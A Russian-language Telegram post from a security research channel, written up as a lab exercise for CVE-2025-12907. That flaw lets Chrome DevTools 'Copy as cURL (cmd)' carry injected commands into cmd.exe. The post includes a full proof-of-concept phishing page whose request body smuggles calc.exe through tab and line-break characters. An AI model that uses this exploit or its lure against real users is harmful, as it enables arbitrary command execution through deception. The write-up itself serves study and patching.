TGViewer
Четыре луча Четыре луча @four_rays · 4.02K subscribers
Post #151 2.94K
Лабораторная работа CVE-2025-12907

Уязвимость CVE-2025-12907 связана с недостаточной проверкой ненадежного ввода в инструментах разработчика (Devtools) Google Chrome в версиях до 140.0.7339.80.

🫡 Метрики
CWE: CWE-20


🫡 Об уязвимости
Текущая реализация DevTools «Копировать как cURL (cmd)» не очищает символ табуляции (\t). Так как cmd.exe интерпретирует табуляцию как разделитель (аналог пробела), злоумышленник может вставить в полезную нагрузку символ табуляции, затем символ разделителя команд (например, &) и перевод строки. В результате аргумент cURL будет проигнорирован и при вставке текста в командную строку выполнятся дополнительные произвольные команды.

Рекомендуем обновиться.

🫡 Лабораторный стенд
Windows 7/10/11
Google Chrome < 140.0.7339.80
Html код (ниже)
Python3

Протестировано на Windows 7 и Google Chrome Version 109.0.5414.120 (Official Build) (32-bit).

😬 Этапы лабораторной работы
1) Создайте и сохраните страницу на сервере. Для примера эта будет фишинговая страница с сообщением «Техническая поддержка не работает» и просьбой отправить тестовый сURL. Название файла — lab_cve-CVE-2025-12907.html.

2) Запустите http-сервер через python3 -m http.server 8111. Если хотите указать путь до файла, то используйте флаг.
  --directory /example


3) Откройте Google Chrome с уязвимой версией и переходите на страницу с вредоносным кодом, в нашем случае это lab_cve-CVE-2025-12907.html.

4) Откройте DevTools - > network -> обновите страницу -> выберите запрос -> копировать -> копировать как cURL(cmd).

5) Вставьте полученный код в консоль (cmd). Если появилось сообщение «Продолжить», нажмите Enter.

6) Результат — открытые calc.exe.

😬 Html код (lab_cve-CVE-2025-12907.html)
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Тех поддержка не работает</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f2f2f2;
color: #333;
padding: 40px;
max-width: 600px;
margin: auto;
}
h1 {
color: #c0392b;
text-align: center;
margin-bottom: 20px;
}
p {
font-size: 18px;
line-height: 1.5;
background: #fff;
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
}
code {
background-color: #eee;
padding: 3px 6px;
border-radius: 3px;
font-family: monospace;
}
</style>
</head>
<body>
<h1>Техническая поддержка не работает</h1>
<p>Пример тестового сетевого запроса с помощью <code>fetch</code>. Чтобы проверить сеть, откройте F12, скопируйте запрос как <code>cURL(cmd)</code> и отправьте его через консоль.</p>

<script>
fetch("/copy-me", {
credentials: "omit",
headers: {
"Accept-Language": "en-US",
"Content-Type": "text/plain",
},
body: "\t \t\t \r\ncalc.exe \t \t\f\v",
method: "POST",
});
</script>
</body>
</html>
  • 🔥 12
  • ✍ 4
  • ⚡ 2
  • ❤ 1
  • 👾 1
More from @four_rays
  1. Sep 14, 2026💣 Ржавый код: почему все переходят на Rust и когда аналитику можно его не реверсить Rust…
  2. Sep 11, 2026😳 DFIR diggin’ deeper: неочевидные источники артефактов при расследовании атак Когда стан…
  3. Sep 7, 2026😀 Call for Papers на технострим SOC Forum 2026 еще открыт! Темы: 1️⃣ Offense: актуальные…
  4. Aug 31, 2026☀️ Zimbra, все еще скрывающая боль Ранее мы уже рассказывали о расследовании «Zimbra, скры…
  5. Aug 19, 2026💡 Разберемся с непопулярными артефактами на OffZone 2026 Выбираете, какие выступления пос…
  6. Aug 17, 2026😀 Admin may cry CVE-2026-41452 — уязвимость, позволяющая перезаписать данные администрато…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →